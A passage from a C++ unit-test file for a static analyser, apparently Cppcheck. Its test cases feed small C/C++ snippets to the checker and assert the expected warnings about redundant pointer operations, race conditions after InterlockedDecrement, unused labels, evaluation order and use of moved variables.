isless(x,y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void integerOverflow() { // 5895\n // no signed integer overflow should happen\n check(\"void f(unsigned long long ull) {\\n\"\n \" if (ull == 0x89504e470d0a1a0a || ull == 0x8a4d4e470d0a1a0a) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantPointerOp() {\n check(\"int *f(int *x) {\\n\"\n \" return &*x;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'x' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int *f(int *y) {\\n\"\n \" return &(*y);\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'y' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #10991\n \" int value = 4;\\n\"\n \" int result1 = *(&value);\\n\"\n \" int result2 = *&value;\\n\"\n \" return result1 + result2;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\"\n \"[test.cpp:4:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int& a, int b) {\\n\"\n \" *(&a) = b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Redundant pointer operation on 'a' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int**& p) {}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define\tRESTORE(ORIG, COPY) { *ORIG = *COPY; }\\n\"\n \"void f(int* p, int i) {\\n\"\n \" RESTORE(p, &i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // no warning for bitwise AND\n check(\"void f(const int *b) {\\n\"\n \" int x = 0x20 & *b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // No message for double pointers to structs\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // another double pointer to struct - with an array\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // double pointer to array\n check(\"void f(char **ptr) {\\n\"\n \" int *x = &(*ptr)[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\", errout_str());\n\n // function calls\n check(\"void f(Mutex *mut) {\\n\"\n \" pthread_mutex_lock(&*mut);\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Redundant pointer operation on 'mut' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // make sure we got the AST match for \"(\" right\n check(\"void f(char *ptr) {\\n\"\n \" if (&*ptr == NULL)\\n\"\n \" return;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Redundant pointer operation on 'ptr' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // no warning for macros\n checkP(\"#define MUTEX_LOCK(m) pthread_mutex_lock(&(m))\\n\"\n \"void f(struct mutex *mut) {\\n\"\n \" MUTEX_LOCK(*mut);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define B(op) bar(op)\\n\"\n \"#define C(orf) B(&orf)\\n\"\n \"void foo(const int * pkey) {\\n\"\n \" C(*pkey);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void test_isSameExpression() { // see #5738\n check(\"bool isInUnoIncludeFile(StringRef name) {\"\n \" return name.startswith(SRCDIR \\\"/com/\\\") || name.startswith(SRCDIR \\\"/uno/\\\");\\n\"\n \"};\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void raceAfterInterlockedDecrement() {\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" whatever();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (!counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 < counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 == counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 != counter)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 >= counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (!newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 < newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 == newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 != newCount)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 >= newCount)\\n\"\n \" destroy;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n }\n\n void testUnusedLabel() {\n check(\"void f() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" switch(a) {\\n\"\n \" default:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" my_protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" caseZERO:\\n\"\n \" return 0;\\n\"\n \" case1:\\n\"\n \" return 1;\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning) Label 'caseZERO' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\"\n \"[test.cpp:5:5]: (warning) Label 'case1' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n }\n\n #define checkCustomSettings(...) checkCustomSettings_(__FILE__, __LINE__, __VA_ARGS__)\n void checkCustomSettings_(const char* file, int line, const char code[], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n void checkCustomSettings_(const char* file, int line, const char code[], Settings *s) {\n checkCustomSettings_(file, line, code, true, true, true, false, s);\n }\n\n void testEvaluationOrder() {\n check(\"void f() {\\n\"\n \" int x = dostuff();\\n\"\n \" return x + x++;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n // #7226\n check(\"long int f1(const char *exp) {\\n\"\n \" return strtol(++exp, (char **)&exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:23]: (error) Expression '++exp,exp' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" while (a=x(), a==123) {}\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 8717\n check(\"void f(int argc, char *const argv[]) {\\n\"\n \" char **local_argv = safe_malloc(sizeof (*local_argv));\\n\"\n \" int local_argc = 0;\\n\"\n \" local_argv[local_argc++] = argv[0];\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \" return 0 + x++;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" int a[10];\\n\"\n \" a[x+y] = a[y+x]++;;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:3:10]: (error) Expression 'a[x+y]=a[y+x]++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = ++i + i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (error) Expression '++i+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, ++exp, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\"\n \"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = (~(-(++i)) + i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Expression '~(-(++i))+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n /*const*/ Settings settings11 = settingsBuilder(_settings).cpp(Standards::CPP11).build();\n\n checkCustomSettings(\"void f(int i) {\\n\"\n \" i = i++ + 2;\\n\"\n \"}\", &settings11);\n ASSERT_EQUALS(\"[test.cpp:2:11]: (error) Expression 'i+++2' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSelfAssignment() {\n // self assignment\n check(\"void f() {\\n\"\n \" int x = x = y + 1;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", // duplicate\n errout_str());\n }\n\n void testEvaluationOrderMacro() {\n // macro, don't bailout (#7233)\n checkP(\"#define X x\\n\"\n \"void f(int x) {\\n\"\n \" return x + X++;\\n\"\n \"}\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsFunctionCall() {\n // FP\n check(\"void f(int id) {\\n\"\n \" id = dostuff(id += 42);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // FN\n check(\"void f(int id) {\\n\"\n \" id = id + dostuff(id += 42);\\n\"\n \"}\", false);\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsComma() {\n check(\"int f(void) {\\n\"\n \" int t;\\n\"\n \" return (unsigned char)(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:14]: (error) Expression 't=1,t^c' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff((t=1,t),2);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8230\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (i++, ++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (f(++fp, (*fp) <= 7));\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:18]: (error) Expression '++fp,(*fp)<=7' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSizeof() {\n check(\"void f(char *buf) {\\n\"\n \" dostuff(buf++, sizeof(*buf));\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testUnsignedLessThanZero() {\n check(\"struct d {\\n\"\n \" unsigned n;\\n\"\n \"};\\n\"\n \"void f(void) {\\n\"\n \" struct d d;\\n\"\n \" d.n = 3;\\n\"\n \"\\n\"\n \" if (d.n < 0) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (0 > d.n) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:8:11]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\"\n \"[test.c:12:9]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\",\n errout_str());\n }\n\n void doubleMove1() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization1() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b))\\n\"\n \" {\\n\"\n \" b2 = std::move(b);\\n\"\n \" }\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:24]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization2() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b)),\\n\"\n \" b2(std::move(b))\\n\"\n \" {}\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization3() { // #9974\n check(\"struct A { int i; };\\n\"\n \"struct B { A a1; A a2; };\\n\"\n \"B f() {\\n\"\n \" A a1 = { 1 };\\n\"\n \" A a2 = { 2 };\\n\"\n \" return { .a1 = std::move(a1), .a2 = std::move(a2) };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void doubleMoveMemberInitialization4() { // #11440\n check(\"struct S { void f(int); };\\n\"\n \"struct T {\\n\"\n \" T(int c, S&& d) : c{ c }, d{ std::move(d) } { d.f(c); }\\n\"\n \" int c;\\n\"\n \" S d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:51]: (warning, inconclusive) Access of moved variable 'd'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAssign1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a = g(std::move(a));\\n\"\n \" a = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndAssign2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" B b = g(std::move(a));\\n\"\n \" C c = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAssignMoveAssign() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReset1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndReset2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" A c;\\n\"\n \" b.reset(g(std::move(a)));\\n\"\n \" c.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:25]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveResetMoveReset() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameter() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterReference() {\n check(\"void g(A & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndFunctionParameterConstReference() {\n check(\"void g(A const & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterUnknown() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:5:11]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReturn() {\n check(\"int f(int i) {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" g(std::move(a));\\n\"\n \" if (i)\\n\"\n \" return g(std::move(b));\\n\"\n \" return h(std::move(a),std::move(b));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:24]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndClear() {\n check(\"void f() {\\n\"\n \" 